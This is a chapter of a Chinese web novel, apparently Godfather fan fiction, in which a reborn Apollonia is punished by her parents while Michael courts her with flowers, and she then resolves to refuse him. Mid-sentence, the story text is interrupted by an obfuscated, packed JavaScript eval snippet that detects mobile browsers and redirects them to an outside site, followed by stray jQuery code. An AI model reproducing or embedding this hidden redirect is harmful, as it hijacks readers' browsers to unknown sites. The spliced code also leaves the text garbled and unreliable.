4. 第 4 章
作品:《教父的白月光她重生了》 “阿波罗妮娅,给我过来!”
“不——我不要!”
维泰利宅邸前,迈克尔还没来得及求亲,就听见了女孩的声音。
虽然是拒绝,却藏着细微颤抖的哭意,软绵绵的,像个受伤的小鸟在地上无助地扑腾了两下。
房间里,在地上扑腾的小鸟失去了翅膀,终于还是被她强壮有力的母亲拧住了胳膊。
然后,他听见了很清脆、很响亮、仿佛泛着柔软波纹一声,随后便是阿波罗妮娅短促的哀叫。
他立马就明白,她的女孩被打屁股了。
他庆幸回来的路上把法布里齐奥扔到了咖啡馆,亲自载着维泰利一家上山,没让外人听见这些私密的动静。
“妈妈、妈妈——”
她还在努力,想要摆脱被惩罚的命运,在自己母亲腿上使劲儿挣扎,声音像是含了水,呜呜咽咽的。
“我已经长大了!我已经长大了!”
阿波罗妮娅仓皇尖叫,苍白无力地证明她是一个独立的个体,得到的却是她母亲结实胳膊挥下的宽厚巴掌。
“呜——”
女孩扬起修长的脖颈,感觉浑身都被一巴掌给拍得发麻,好一会才恹恹垂下了脑袋,美丽的脸蛋变得湿漉漉的了。
她母亲绷着一张脸,恨铁不成钢似的教训她:“是的,是的,阿波罗妮娅,你已经长大了,但你还在家里,还没有出嫁,我还有权利管教你!”
说着,她挥舞起她的胳膊,“瞧瞧你因为喝酒被纠正了多少次!今天居然还在外乡男人面前醉倒了!”
维泰利夫人气得眼睛都瞪圆了,“我教给你的礼数呢?!”
“……”阿波罗妮娅干巴巴反驳,“我没有醉,医生说是过敏。”
她哪敢说是重生,哪怕没有过敏这回事,也得硬着头皮承认下来,以至于语气虚虚的,被认为是狡辩。
所以巴掌如期而至。
脆生生的拍打在外面的迈克尔听得一清二楚,他绷紧下颌,刚硬发白的脸浮现出一丝怒意,握着车门把手的指骨用力到发出不堪重负的声响。
但他克制住了心头的冲动。
是的,她还没有嫁给他,他没有权利接管她,现在进去阻止只会给女孩难堪。
不可以,迈克尔,不可以。她还不是你的。
他压下心头疯狂的占有欲,闭了闭眼,再睁开时恢复了平静。
可是下定决心等待前,中气十足的妇女厉声道:
“我说实话吧阿波罗妮娅,你爸爸比我更生气,这顿巴掌就是他吩咐我的,他说如果在外面听不见你哭,他就亲自拿藤条来教训你!——所以,乖乖趴好!”
“妈妈,呜呜,我哭了我哭了!”
女孩可怜巴巴证明自己已经得到教训了,噙着眼泪拉长了尾音“呜呜”两声,像个讨乖的小狗儿。
维泰利夫人被气笑了。
门外的迈克尔莞尔,眼底冷意消散。
她好像就是有这个魔力。虽然只短短一面之缘,迈克尔就知道女孩性格的可爱和单纯,无论做什么都吸引着他。
“咚咚”
阿波罗妮娅偏过脑袋,泪眼氤氲的大眼睛看向出声的大门口,她的母亲终于大发慈悲地放下了胳膊。
然后,她听见父亲臃肿躯体沉重的步伐。
他挥开了门帘,与淡然站在门外的迈克尔对视。维泰利噎了一下,突然觉得有些无地自容。
他曾为自己女儿的容貌感到多骄傲,今天就对她醉酒感到多羞愧。
是的,他同样认为是醉酒,过敏什么的,没听说过。
“迈克尔先生,是遇到什么问题了吗?”他尽量撑起自己的尊严问。
西西里的暖色阳光勾勒出年轻人立体优越的面部轮廓,他不苟言笑,显得有些锋利冷峻,但拿出来一捧娇嫩鲜艳的小花。
是迈克尔临时在路边采摘的。一朵一朵捋直了,并不显得凌乱,反而精致规整。
“之前说过,我想认识你的女儿,想和她说话,在你的允许和你家族的监管下。——这是我送给她的小小的见面礼。”
花儿是西西里最常见的,粉色的岩黄芪、紫色的紫藤花、散发着浓郁芳香的橘树花和柠檬树花,以及其他说不出名字的花朵,经由迈克尔的手,组合成了令人惊艳的花束。富有乡土气息的野蛮生长的花儿,比纽约街头花店里盛放的玫瑰还要浪漫。
就连维泰利这个大腹便便的中年男人都看直了眼。
他有些不可思议地打量着面前的年轻男人。
英俊,成熟,浪漫,有权,有势。
这让维泰利感到一股骄傲从脚底涌上来,宽厚的背都挺直了些。
那个没有被他教好的小姑娘确实有这个魅力吸引到优秀的男人。
维泰利矜持地咳了一声,接过他手中的花:“好吧,我会代为转达的。”
“谢谢。”
迈克尔颔首,露出一丝笑意:“那么我什么时候可以来拜访?”
“星期天下午吧,你先来咖啡馆。”
“她叫什么名字?”即便已经从之前的对话中知道,他依旧非常正式地问。
“阿波罗妮娅。”
心头爬过一阵酥痒,迈克尔伸出一只手:“很美的名字。”
维泰利紧紧握住,同样露出笑容。
“但容我多说一句,”迈克尔注视着维泰利,黑白分明的眼睛仍然是诚恳的、冷静的。
不太熟练的意大利语被他缓慢且清晰地说了出来,“我想,美丽的姑娘总是有些特权,她的活泼天真,是她作为女孩的权力,不是吗?”
维泰利愣了一下,背脊窜起一股凉意。他出汗的手在身后擦了擦,有些恼怒居然被一个年轻人的眼神吓了一跳。
他现在知道了,这个年轻人肯定听见了阿波罗妮娅被教训的声音,他在为小姑娘求情找场子,而且一点也不介意醉酒。
反应过来后,维泰利几乎要笑出声来。
真是好一道霹雳。
看来自己的女儿以后能把眼前这个男人当成面团随意揉捏了,这未尝不是一件好事。
“当然,”维泰利点点头,微微仰起头,“她是我们家都宠爱的小姑娘,想做什么都可以。”
西西里信奉不期而遇的好运,如果迈克尔是真心的,以这个男人的家世和对阿波罗妮娅的包容,能让女儿幸福快乐,家族兴旺。*
临走前,迈克尔深深望了眼黑漆漆的门帘后,无比期待着下次见面。
看着美国年轻人离开的背影,汽车轰鸣远去,维泰利掀开门帘进去,走进后院,站在属于自己小女儿的门前,敲了敲。
维泰利夫人把女儿抱起来,整理了一下姑娘的衣着,递给她一张手帕,让她擦擦自己哭得乱七八糟的脸蛋。
“喏——”
维泰利把那捧还开得鲜艳的花递给怯生生躲在母亲身后的姑娘,粗声粗气道,“没有教养的姑娘,幸好你遇到了一个被你迷了心智的男人,不然……”
他意味不明地哼了两声。
阿波罗妮娅下意识抖了一下,露出一丝哭意:“对不起爸爸,我知道错了。”
“拿着。他星期天会来,你们可以相互了解一下。”
阿波罗妮娅接过那捧花,眼睛亮了一瞬。
好漂亮的花!
然下一刻,她就意识到这不是上辈子的丈夫迈克尔送的,而是陌生人迈克尔送
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621805|172284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的。
她低着头,用指尖拨弄着触感柔嫩的花瓣,从睫毛滚落的水珠无声砸在花蕊上,娇小的花儿受不住重压,不由得弯下了腰。
维泰利夫妇注意到女儿的沉默,对视了一眼。
“你不喜欢他?”维泰利眉头皱了一下,“今天你们接触过,你对他什么看法?”
阿波罗妮娅摇了摇头,弧度很小。
维泰利夫人把小姑娘拢进自己怀里,粗糙的手摸了摸她浓密的黑卷发。
“阿波罗妮娅,你应该知道一个女孩的教养在西西里多么重要。我们不能养你一辈子,你迟早要嫁出去的,美貌不是通行证,纯洁和温驯才是你能活得漂亮的资本。”
“可今天的惩罚和那个男人是两码事,你得大胆说说你的看法。”
阿波罗妮娅还是没有说话,只是垂着头,一味把玩着手中的花儿。
好像没有回答,却好像又回答了。
维泰利看在眼里。
他当然心疼他的小女儿,那是他最爱的姑娘。眼看她一天天长大,镇上的男人看见她几乎都移不开眼,他总是来一个赶走一个,因为那些破烂货没有一个配得上他的女儿。
哪怕他能确保阿波罗妮娅过上幸福的生活,也是在她没出嫁前,出嫁后,她的一切都要仰仗她的丈夫。
这个美国来的迈克尔是目前最好的选择。
但是如果阿波罗妮娅不愿意……
维泰利抹了把脸,有些发白的胡子颤了颤:“好了,别哭了。”
他终于开口,“我已经答应他见一面,你再好好考虑,如果还是不愿意,走时我会拒绝他。”
“你得想清楚了。”
她想清楚了吗?
阿波罗妮娅在柔软的床上滚了滚,把脸埋进蓬松的被窝里,只留出一双大眼睛,水亮亮地盯着窗边月光下的花束。
那一朵朵漂亮的花儿,小巧可爱,都被她精心放在最喜欢的彩色陶瓷瓶里,她喷了水,希望被摘下来的花能盛放得久一点。
这是一份特殊的、浪漫的礼物,是对阿波罗妮娅明目张胆的偏爱。
今天一切都乱糟糟的,她知道了自己的命运,她有了一次重来的机会,可她还没有头绪。
她不知道要不要再嫁给迈克尔,不知道怎么躲过既定的命运,不知道自己的人生该如何度过。
她只知道这次要好好珍惜自己的生命。
她爱迈克尔,这一点毋庸置疑。
不比影片旁观者的抽离,她作为当事人,看见过迈克尔第一次见到她时的怔忪,看见过与她相处时隐藏在那双黑眼睛下的温柔,看见过他们结婚时男人幸福甜蜜的笑容,看见过婚后对她的宠爱和予取予求。
也听见生命中的最后一道声音——那样悲痛、后悔,仿佛大地开裂,高山轰塌。
可她不确定这份爱是不是能够让她再次冒着生命危险。
她不知道命运能不能被改变,不知道如果解决了法布里奇奥,还没有下一个。
迷茫、无助、焦躁。
阿波罗妮娅习惯性地在床上滚一圈。昨天,她还能滚到一个温暖挺阔的胸膛里,男人会用结实有力的手臂把她揽在怀中,亲吻她,带着笑意与柔和的爱,在床上滚作一团。
甚至在今天重生之前,她还兴高采烈无比自傲地想对迈克尔展示车技。
爱意正浓时发生意外,此刻的抽离就像心头被戳了一个大洞,空落落的,空得心慌。
她有些不习惯。
女孩烦躁地抓了抓头发,一头海藻般的黑发炸了毛,她掀开被子坐了起来,气鼓鼓地把床头那张白手帕扔到地上。
不管了!反正、反正她要为了自己的小命拒绝他!